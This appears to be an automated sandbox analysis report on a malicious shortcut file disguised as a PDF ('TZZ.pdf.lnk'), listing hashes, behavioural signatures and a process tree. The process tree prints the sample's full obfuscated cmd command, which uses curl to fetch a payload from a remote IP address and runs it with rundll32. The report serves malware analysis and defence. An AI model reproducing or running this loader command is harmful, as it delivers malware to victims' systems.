Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
07-05-2024 12:38
Static task
static1
Behavioral task
behavioral1
Sample
Birdman/Birdman.dll
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
Birdman/Birdman.dll
Resource
win10v2004-20240419-en
Behavioral task
behavioral3
Sample
Birdman/TZZ.pdf.lnk
Resource
win7-20240215-en
Behavioral task
behavioral4
Sample
Birdman/TZZ.pdf.lnk
Resource
win10v2004-20240419-en
General
-
Target
Birdman/TZZ.pdf.lnk
-
Size
1KB
-
MD5
54801c419cd1468e340604dd320223d8
-
SHA1
413c08277d29c965fb667a83af76d453004a15ed
-
SHA256
d57082ddb6cffaa1b6ad658bba6d79f958a7ea8afbd1f4e1ddfdddb4a7145961
-
SHA512
55a2e1d83e094c8b527ef782da54daa7863f4f17dc9213b1192359d550cbb6f7dd5cc24412ba3a72a7d405df9c2c58ba4d1f64cc640775bb82777840d0b8e6b7
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2388 wrote to memory of 2592 2388 cmd.exe cmd.exe PID 2388 wrote to memory of 2592 2388 cmd.exe cmd.exe PID 2388 wrote to memory of 2592 2388 cmd.exe cmd.exe PID 2592 wrote to memory of 2136 2592 cmd.exe PING.EXE PID 2592 wrote to memory of 2136 2592 cmd.exe PING.EXE PID 2592 wrote to memory of 2136 2592 cmd.exe PING.EXE PID 2592 wrote to memory of 2644 2592 cmd.exe PING.EXE PID 2592 wrote to memory of 2644 2592 cmd.exe PING.EXE PID 2592 wrote to memory of 2644 2592 cmd.exe PING.EXE PID 2592 wrote to memory of 2796 2592 cmd.exe rundll32.exe PID 2592 wrote to memory of 2796 2592 cmd.exe rundll32.exe PID 2592 wrote to memory of 2796 2592 cmd.exe rundll32.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Birdman\TZZ.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c UL || EChO UL & p"iN"G UL || C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log & p"iN"G -n 3 UL || RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var & E"Xi"T 'qsCViPhzqU2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEp"iN"G UL3⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEp"iN"G -n 3 UL3⤵
- Runs ping.exe
-
C:\Windows\system32\rundll32.exeRUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var3⤵